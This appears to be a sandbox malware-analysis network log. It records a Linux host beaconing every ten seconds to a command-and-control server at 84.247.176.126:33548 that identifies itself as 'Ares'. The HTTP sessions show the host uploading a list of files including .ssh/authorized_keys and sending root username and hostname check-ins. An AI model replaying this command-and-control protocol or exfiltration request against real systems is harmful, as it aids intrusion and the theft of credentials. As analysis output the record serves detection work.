Sep 30, 2024 07:38:16.854763985 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 30, 2024 07:38:25.800103903 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:25.804955959 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:25.805006981 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:25.805458069 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:25.810193062 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:26.455054998 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:26.455079079 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:26.455132008 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:26.455293894 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:26.455295086 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:26.456100941 CEST	60490	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:26.462383986 CEST	33548	60490	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:30.164870024 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 07:38:36.459255934 CEST	60492	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:36.464210033 CEST	33548	60492	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:36.464286089 CEST	60492	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:36.465065956 CEST	60492	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:36.469877958 CEST	33548	60492	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:37.098073959 CEST	33548	60492	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:37.098098040 CEST	33548	60492	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:37.098345041 CEST	60492	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:37.099672079 CEST	60492	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:37.104476929 CEST	33548	60492	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:42.451351881 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 30, 2024 07:38:46.546806097 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 30, 2024 07:38:47.112148046 CEST	60494	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:47.117474079 CEST	33548	60494	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:47.117563009 CEST	60494	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:47.118318081 CEST	60494	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:47.123907089 CEST	33548	60494	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:47.738265991 CEST	33548	60494	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:47.738369942 CEST	33548	60494	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:47.738425970 CEST	60494	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:47.739684105 CEST	60494	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:47.744524002 CEST	33548	60494	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:57.746838093 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:57.751727104 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:57.751844883 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:57.752588034 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:57.757344007 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:58.545639992 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:58.545658112 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:58.545665026 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:58.545905113 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:58.545931101 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:58.546356916 CEST	60496	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:58.551062107 CEST	33548	60496	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:08.559215069 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:08.564157009 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:08.564254045 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:08.565172911 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:08.569967985 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:09.188087940 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:09.188146114 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:09.188251019 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:09.188263893 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:09.188427925 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:09.188882113 CEST	60498	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:09.193694115 CEST	33548	60498	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:11.119317055 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 07:39:19.193913937 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.198853016 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:19.198981047 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.199743032 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.204504967 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:19.825937986 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:19.826083899 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.829643965 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:19.829713106 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.829727888 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:19.830760002 CEST	60500	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:19.835546017 CEST	33548	60500	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:29.843322992 CEST	60502	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:29.848695040 CEST	33548	60502	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:29.848810911 CEST	60502	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:29.849699020 CEST	60502	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:29.855223894 CEST	33548	60502	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:30.458168030 CEST	33548	60502	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:30.458220005 CEST	33548	60502	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:30.458508015 CEST	60502	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:30.458930016 CEST	60502	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:30.463709116 CEST	33548	60502	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:40.470863104 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:40.479940891 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:40.480029106 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:40.480756044 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:40.489794970 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:41.118949890 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:41.119085073 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:41.119086981 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:41.119153023 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:41.119164944 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:41.119750023 CEST	60504	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:41.124500036 CEST	33548	60504	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:51.125631094 CEST	60506	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:51.130582094 CEST	33548	60506	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:51.130717039 CEST	60506	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:51.131481886 CEST	60506	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:51.136212111 CEST	33548	60506	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:51.771234989 CEST	33548	60506	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:51.771251917 CEST	33548	60506	84.247.176.126	192.168.2.23
Sep 30, 2024 07:39:51.771441936 CEST	60506	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:51.771887064 CEST	60506	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:39:51.776624918 CEST	33548	60506	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:01.784425974 CEST	60508	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:01.789289951 CEST	33548	60508	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:01.789439917 CEST	60508	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:01.790150881 CEST	60508	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:01.794919014 CEST	33548	60508	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:02.407099009 CEST	33548	60508	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:02.407123089 CEST	33548	60508	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:02.407236099 CEST	60508	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:02.408891916 CEST	60508	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:02.413631916 CEST	33548	60508	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:12.421842098 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:12.426851988 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:12.426934004 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:12.427666903 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:12.433356047 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:13.039876938 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:13.040066957 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:13.040606022 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:13.040616989 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:13.040676117 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:13.041789055 CEST	60510	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:13.046525002 CEST	33548	60510	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:23.052588940 CEST	60512	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:23.057539940 CEST	33548	60512	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:23.057631969 CEST	60512	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:23.058384895 CEST	60512	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:23.063173056 CEST	33548	60512	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:23.679131031 CEST	33548	60512	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:23.679153919 CEST	33548	60512	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:23.679343939 CEST	60512	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:23.679814100 CEST	60512	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:23.684582949 CEST	33548	60512	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:33.690681934 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:33.695553064 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:33.695622921 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:33.696238041 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:33.701018095 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:34.342586994 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:34.342699051 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:34.343059063 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:34.343112946 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:34.343195915 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:34.343550920 CEST	60514	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:34.348351955 CEST	33548	60514	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:44.351761103 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:44.356744051 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:44.356817961 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:44.357692003 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:44.362442970 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:45.086479902 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:45.086566925 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:45.086639881 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:45.086641073 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:45.087429047 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:45.087990046 CEST	60516	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:45.095074892 CEST	33548	60516	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:55.098392010 CEST	60518	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:55.103327036 CEST	33548	60518	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:55.103401899 CEST	60518	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:55.103984118 CEST	60518	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:55.108781099 CEST	33548	60518	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:55.724241972 CEST	33548	60518	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:55.724266052 CEST	33548	60518	84.247.176.126	192.168.2.23
Sep 30, 2024 07:40:55.725035906 CEST	60518	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:55.725037098 CEST	60518	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:40:55.729963064 CEST	33548	60518	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:05.730323076 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:05.735346079 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:05.735455036 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:05.735977888 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:05.740791082 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:06.488665104 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:06.488686085 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:06.488703966 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:06.488723993 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:06.488874912 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:06.488874912 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:06.488876104 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:06.489897966 CEST	60520	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:06.495668888 CEST	33548	60520	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:16.497081041 CEST	60522	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:16.502126932 CEST	33548	60522	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:16.502226114 CEST	60522	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:16.502839088 CEST	60522	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:16.507627010 CEST	33548	60522	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:17.124109030 CEST	33548	60522	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:17.124161959 CEST	33548	60522	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:17.124334097 CEST	60522	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:17.124813080 CEST	60522	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:17.129637003 CEST	33548	60522	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.136904955 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.142071009 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.142196894 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.142836094 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.147706985 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.785706043 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.785794020 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.785820007 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.785856962 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.785981894 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:27.787162066 CEST	60524	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:27.791937113 CEST	33548	60524	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:37.791115999 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:37.796160936 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:37.796252012 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:37.796808004 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:37.801631927 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:38.467483044 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:38.467523098 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:38.467614889 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:38.467628956 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:38.467628956 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:38.468837976 CEST	60526	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:38.473643064 CEST	33548	60526	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:48.481307030 CEST	60528	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:48.486327887 CEST	33548	60528	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:48.486414909 CEST	60528	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:48.487015963 CEST	60528	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:48.491846085 CEST	33548	60528	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:49.103538036 CEST	33548	60528	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:49.103682995 CEST	33548	60528	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:49.103708982 CEST	60528	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:49.105062008 CEST	60528	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:49.109862089 CEST	33548	60528	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:59.115849018 CEST	60530	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:59.120925903 CEST	33548	60530	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:59.121059895 CEST	60530	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:59.121475935 CEST	60530	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:59.126251936 CEST	33548	60530	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:59.747888088 CEST	33548	60530	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:59.747966051 CEST	33548	60530	84.247.176.126	192.168.2.23
Sep 30, 2024 07:41:59.748047113 CEST	60530	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:59.748899937 CEST	60530	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:41:59.753706932 CEST	33548	60530	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:09.761173964 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:09.766307116 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:09.766477108 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:09.767136097 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:09.772006035 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:10.439176083 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:10.439229012 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:10.439261913 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:10.439470053 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:10.439470053 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:10.440748930 CEST	60532	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:10.445604086 CEST	33548	60532	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:20.444077015 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:20.449353933 CEST	33548	60534	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:20.449462891 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:20.450062990 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:20.454870939 CEST	33548	60534	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:21.075166941 CEST	33548	60534	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:21.075216055 CEST	33548	60534	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:21.075253010 CEST	33548	60534	84.247.176.126	192.168.2.23
Sep 30, 2024 07:42:21.075321913 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:21.075381041 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:21.076529980 CEST	60534	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:42:21.081374884 CEST	33548	60534	84.247.176.126	192.168.2.23

HTTP Request Dependency Graph

84.247.176.126:33548

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	60486	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:38:12.432763100 CEST	563	OUT	POST /api/root_265403912816988/upload HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 269 Content-Type: multipart/form-data; boundary=12b1182436e74c268d609ba7cbab3f4c Data Raw: 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 2d 2d 0d 0a Data Ascii: --12b1182436e74c268d609ba7cbab3f4cContent-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--12b1182436e74c268d609ba7cbab3f4c--
Sep 30, 2024 07:38:13.040365934 CEST	368	IN	HTTP/1.0 404 NOT FOUND Content-Type: text/html Content-Length: 233 Server: Ares Date: Mon, 30 Sep 2024 05:38:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 33 2e 32 20 46 69 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	60488	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:38:15.153434038 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:38:15.789042950 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:38:15 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	60490	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:38:25.805458069 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:38:26.455054998 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	60492	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
